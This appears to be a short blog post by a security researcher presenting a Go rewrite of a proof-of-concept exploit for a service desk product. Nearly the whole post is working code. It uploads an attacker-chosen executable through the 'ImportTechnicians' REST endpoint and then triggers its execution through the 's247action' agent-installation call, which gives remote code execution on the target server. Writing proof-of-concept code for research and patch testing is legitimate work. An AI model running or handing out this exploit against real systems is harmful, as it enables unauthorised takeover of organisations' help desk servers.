Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.
You can find a vulnerable version of the software here. You can find this code on my Github here.
package main
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"log"
"mime/multipart"
"net/http"
"net/url"
"os"
)
func uploadFile(uri string, paramName, path string) {
file, err := os.Open(path)
if err != nil {
log.Fatal(err)
return
}
fileContents, err := ioutil.ReadAll(file)
if err != nil {
log.Fatal(err)
return
}
fi, err := file.Stat()
if err != nil {
log.Fatal(err)
return
}
file.Close()
body := new(bytes.Buffer)
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile(paramName, fi.Name())
if err != nil {
log.Fatal(err)
return
}
part.Write(fileContents)
writer.Close()
request, err := http.NewRequest("POST", uri, body)
if err != nil {
log.Fatal(err)
}
request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
request.Header.Set("Origin", "null")
request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
request.Header.Set("Content-Type", writer.FormDataContentType())
// set a proxy for troubleshooting
proxyUrl, err := url.Parse("http://localhost:9090")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Proxy: http.ProxyURL(proxyUrl),
}
client := &http.Client{Transport: tr}
resp, err := client.Do(request)
if err != nil {
log.Fatalln(err)
} else {
fmt.Println("Response code should be 401, if successful uploading occured.")
fmt.Println(resp.StatusCode)
}
defer resp.Body.Close()
return
}
func triggerExploit(uri string) {
// set a proxy for troubleshooting
proxyUrl, err := url.Parse("http://localhost:9090")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Proxy: http.ProxyURL(proxyUrl),
}
client := &http.Client{Transport: tr}
triggerURL := uri + "RestAPI/s247action"
postData := "execute=s247AgentInstallationProcess"
request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
if err != nil {
return
}
request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
request.Header.Set("Origin", "null")
request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client.Do(request)
}
func main() {
// get flags
VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")
flag.Parse()
path, err := os.Getwd()
if err != nil {
log.Fatal(err)
}
fullMaliciousFileName := path + *maliciousFileName
fmt.Println("\n---> Uploading File!")
uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)
fmt.Println("\n---> Triggering!")
triggerExploit(*VulnerableInstance)
fmt.Println("\nExploit Completed!")
}